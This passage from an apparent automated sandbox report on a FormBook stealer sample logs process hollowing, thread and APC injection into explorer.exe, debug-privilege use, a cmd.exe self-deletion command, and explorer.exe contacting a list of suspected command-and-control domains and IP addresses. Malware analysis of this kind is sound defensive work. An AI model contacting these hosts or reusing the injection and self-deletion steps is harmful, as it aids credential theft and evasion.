Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03886DC9 mov eax, dword ptr fs:[00000030h]		7_2_03886DC9
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381D5E0 mov eax, dword ptr fs:[00000030h]		7_2_0381D5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381D5E0 mov eax, dword ptr fs:[00000030h]		7_2_0381D5E0
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CFDE2 mov eax, dword ptr fs:[00000030h]		7_2_038CFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CFDE2 mov eax, dword ptr fs:[00000030h]		7_2_038CFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CFDE2 mov eax, dword ptr fs:[00000030h]		7_2_038CFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CFDE2 mov eax, dword ptr fs:[00000030h]		7_2_038CFDE2
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038B8DF1 mov eax, dword ptr fs:[00000030h]		7_2_038B8DF1
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0380AD30 mov eax, dword ptr fs:[00000030h]		7_2_0380AD30
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03813D34 mov eax, dword ptr fs:[00000030h]		7_2_03813D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038CE539 mov eax, dword ptr fs:[00000030h]		7_2_038CE539
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03834D3B mov eax, dword ptr fs:[00000030h]		7_2_03834D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03834D3B mov eax, dword ptr fs:[00000030h]		7_2_03834D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03834D3B mov eax, dword ptr fs:[00000030h]		7_2_03834D3B
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_038D8D34 mov eax, dword ptr fs:[00000030h]		7_2_038D8D34
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0388A537 mov eax, dword ptr fs:[00000030h]		7_2_0388A537
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03843D43 mov eax, dword ptr fs:[00000030h]		7_2_03843D43
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03883540 mov eax, dword ptr fs:[00000030h]		7_2_03883540
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_03827D50 mov eax, dword ptr fs:[00000030h]		7_2_03827D50
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382C577 mov eax, dword ptr fs:[00000030h]		7_2_0382C577
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0382C577 mov eax, dword ptr fs:[00000030h]		7_2_0382C577
Source: C:\Windows\SysWOW64\wlanext.exe	Code function: 7_2_0381849B mov eax, dword ptr fs:[00000030h]		7_2_0381849B

Enables debug privileges

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process token adjusted: Debug			Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Domain query: www.healshameyoga.com
Source: C:\Windows\explorer.exe	Domain query: www.ikeberto.com
Source: C:\Windows\explorer.exe	Domain query: www.mmgenius.com
Source: C:\Windows\explorer.exe	Network Connect: 198.54.114.164 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 154.93.81.33 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 3.16.197.4 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.directflence.com
Source: C:\Windows\explorer.exe	Network Connect: 23.227.38.74 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.booweats.com
Source: C:\Windows\explorer.exe	Domain query: www.tecquestrian.com
Source: C:\Windows\explorer.exe	Network Connect: 44.227.76.166 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 185.4.135.136 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.cuntrera.com
Source: C:\Windows\explorer.exe	Domain query: www.rogersbeefarm.com
Source: C:\Windows\explorer.exe	Domain query: www.rainboxs.com
Source: C:\Windows\explorer.exe	Domain query: www.safegrinder.com
Source: C:\Windows\explorer.exe	Network Connect: 34.102.136.180 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.nowhealthdays.com
Source: C:\Windows\explorer.exe	Network Connect: 64.190.62.111 80			Jump to behavior
Source: C:\Windows\explorer.exe	Network Connect: 209.222.96.146 80			Jump to behavior
Source: C:\Windows\explorer.exe	Domain query: www.nobleandmarble.com

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Section loaded: unknown target: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write			Jump to behavior
Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Section loaded: unknown target: C:\Windows\SysWOW64\wlanext.exe protection: execute and read and write			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write			Jump to behavior

Modifies the context of a thread in another process (thread injection)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Thread register set: target process: 3424			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Thread register set: target process: 3424			Jump to behavior

Queues an APC in another process (thread injection)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Jump to behavior

Sample uses process hollowing technique

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Section unmapped: C:\Windows\SysWOW64\wlanext.exe base address: 11C0000

Jump to behavior

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe	Process created: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe 'C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\wlanext.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe'			Jump to behavior

May try to detect the Windows Explorer process (often used for injection)

Source: explorer.exe, 00000004.00000002.906939906.0000000000AD8000.00000004.00000020.sdmp	Binary or memory string: ProgmanMD6
Source: explorer.exe, 00000004.00000000.655879856.0000000001080000.00000002.00000001.sdmp, wlanext.exe, 00000007.00000002.908444659.0000000005E00000.00000002.00000001.sdmp	Binary or memory string: Program Manager
Source: explorer.exe, 00000004.00000002.919431085.0000000005E50000.00000004.00000001.sdmp, wlanext.exe, 00000007.00000002.908444659.0000000005E00000.00000002.00000001.sdmp	Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000004.00000000.655879856.0000000001080000.00000002.00000001.sdmp, wlanext.exe, 00000007.00000002.908444659.0000000005E00000.00000002.00000001.sdmp	Binary or memory string: Progman
Source: explorer.exe, 00000004.00000000.655879856.0000000001080000.00000002.00000001.sdmp, wlanext.exe, 00000007.00000002.908444659.0000000005E00000.00000002.00000001.sdmp	Binary or memory string: Progmanlock
Source: explorer.exe, 00000004.00000000.673301906.000000000A716000.00000004.00000001.sdmp	Binary or memory string: Shell_TrayWnd5D

Language, Device and Operating System Detection:

Contains functionality to query windows version

Source: C:\Users\user\Desktop\1cec9342_by_Libranalysis.exe

Code function: 0_2_00403348 EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoA,GetCommandLineA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcatA,lstrcatA,lstrcmpiA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,

0_2_00403348

Stealing of Sensitive Information:

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE

Remote Access Functionality:

Yara detected FormBook

Source: Yara match	File source: 00000000.00000002.657286033.0000000002340000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000001.650458502.0000000000400000.00000040.00020000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693950928.0000000000D20000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693323611.0000000000400000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.906821366.0000000001030000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907308680.00000000032A0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.693535798.00000000009B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.907353969.0000000003300000.00000004.00000001.sdmp, type: MEMORY
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.1cec9342_by_Libranalysis.exe.2340000.4.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.1.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.1cec9342_by_Libranalysis.exe.400000.0.unpack, type: UNPACKEDPE